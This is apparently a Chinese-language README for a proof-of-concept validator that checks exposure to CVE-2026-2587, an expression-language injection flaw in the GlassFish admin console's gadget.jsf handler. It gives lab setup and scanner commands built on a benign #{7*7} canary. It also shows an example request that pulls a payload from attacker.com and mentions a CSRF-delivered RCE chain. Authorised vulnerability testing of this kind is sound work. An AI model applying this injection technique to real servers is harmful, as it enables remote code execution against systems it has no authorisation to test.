CVE-2026-2587 PoC验证器,用于Eclipse GlassFish admin console中gadget.jsf处理器的EL注入远程代码执行漏洞。安全的经过身份验证的漏洞扫描器,专为授权测试设计。
CVE-2026-2587的安全PoC验证器,这是一个影响Eclipse GlassFish管理控制台组件处理(通过/common/gadgets/gadget.jsf)的严重EL注入/远程代码执行漏洞。
该工具帮助安全团队使用良性的算术EL检测值,在授权环境中验证GlassFish CVE-2026-2587的暴露风险。
分配者: Eclipse Foundation (CNA) · 发布时间: 2026年5月19日 CVSS:
9.6 Critical·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE: CWE-917 — 表达式语言注入 受影响版本:未知(截至2026年5月21日的公开公告) 已修复版本:未知(截至2026年5月21日的公开公告) 扫描规则: 版本仅用于路由/报告上下文;判定需要实际证明。
在 GlassFish 管理控制台组件处理器中存在一个严重的远程代码执行漏洞。该应用程序处理通过 gadget= 查询参数提供的URL获取的 .xml 文件,并在没有消毒或转义的情况下,通过 Java 表达式语言 (EL) 引擎 评估 <ModulePrefs> 属性中的用户提供值。```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
如果 XML 在 `<ModulePrefs title="">` 属性中包含 `#{7*7}`,GlassFish 会在服务器端对其求值并返回 `49`——从而确认 EL 表达式执行。随后可通过 EL 对 Java 运行时的访问实现完整的 RCE 链。
当前公开的公告记录并未公布受影响或已修补的版本边界。因此,此验证器采用“先证明”原则:它会对 GlassFish 进行指纹识别并报告版本元数据,但不会仅凭版本字符串将目标分类为易受攻击。
---
## 工作原理

安全验证路径会托管一个良性的 XML 探测文件,向 `gadget.jsf` 发送经身份验证的管理控制台请求,让 GlassFish 从回调 URL 获取该 XML,并检查 `<ModulePrefs title="">` 探针是否从 `#{7*7}` 求值为 `49`。
**注入点已确认 vs. 未确认:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
| 场景 | 需要认证? |
|---|---|
直接访问 gadget.jsf | 是 — 表单认证,返回200登录页面 |
| 真实世界的CSRF攻击 | 否 — 利用管理员的活动会话 |
| 此验证器 | 是 — 使用 --cookie 或 --username/--password |
| 未认证暴露检查 | 否 — 脚本自动测试此情况 |
CVSS向量 PR:N / UI:R 意味着:
PR:N — 攻击者不需要自身凭证UI:R — 已登录的管理员必须交互(CSRF传递)对于实验室验证,完全跳过CSRF — 直接使用你自己的管理员会话。
要求: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**仓库内容:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
注意: GHSA 仍将受影响和已修补的版本列为未知。
omnifish/glassfish:7.0.15是一个很好的实验候选——不能保证是有漏洞的构建。 验证原语仍然是算术金丝雀:如果#{7*7}计算结果为49,则 EL 是激活的。
docker compose -f docker-compose.lab.yml up
启动 GlassFish 7.0.15,仅将端口绑定到 `127.0.0.1`,并预配置 `host.docker.internal`,以便容器能够访问本地 XML 服务器。
### 选项 B — 直接使用 docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
管理控制台:https://localhost:4848 · 登录:admin / admin
(自签名证书 — 浏览器会出现警告。)
在第二个终端中:```bash
python3 -m http.server 8000 --bind 0.0.0.0
从容器的视角验证可达性:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5
首先登录管理员控制台(浏览器会话或 --cookie),然后:```bash
curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'
| Output | Meaning |
|---|---|
| `CVE2587_TITLE_49_END` | **存在漏洞** — 在 `ModulePrefs title` 中评估了 EL |
| `CVE2587_BODY_49_END` | **存在漏洞** — 在 CDATA body 中评估了 EL |
| `CVE2587_TITLE_#{7*7}_END` | 不存在漏洞 / 未评估 EL |
| *(no output)* | GlassFish 从未获取 XML — 检查回调可达性 |
> 通常即使在存在漏洞的构建中,CDATA body 也保持原始状态;仅凭正的 `TITLE` 结果就足以确认发现。
---
### 针对本地实验室的自动验证```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
该仓库附带了一个probe.xml文件,可直接使用。您也可以随时生成一个新的文件——当您想要自定义canary前缀或随机化值以使探针在每次参与中唯一时,这很有用。```bash
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17
python3 CVE-2026-2587-Exploit-POC.py --generate-xml -
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127
写入文件后的输出:```
[+] probe XML written → probe.xml
Expression : #{7*7}
Expects : CVE2587_TITLE_49_END in response title
Host this file at a URL reachable by the target server.
Then run:
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
当 GlassFish 在本地或同一台机器的 Docker 中运行时使用。
在登录管理控制台后,从浏览器 DevTools → Application → Cookies 中获取你的 JSESSIONID,然后:```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://127.0.0.1:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure
> `host.docker.internal` 在 Docker 内部解析为主机。
> GlassFish 容器通过此地址获取您的探针 XML。
---
### 凭据```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
如果表单登录失败,脚本会回退并尝试端点。
如果端点也失败,它会打印获取会话 cookie 的逐步指导。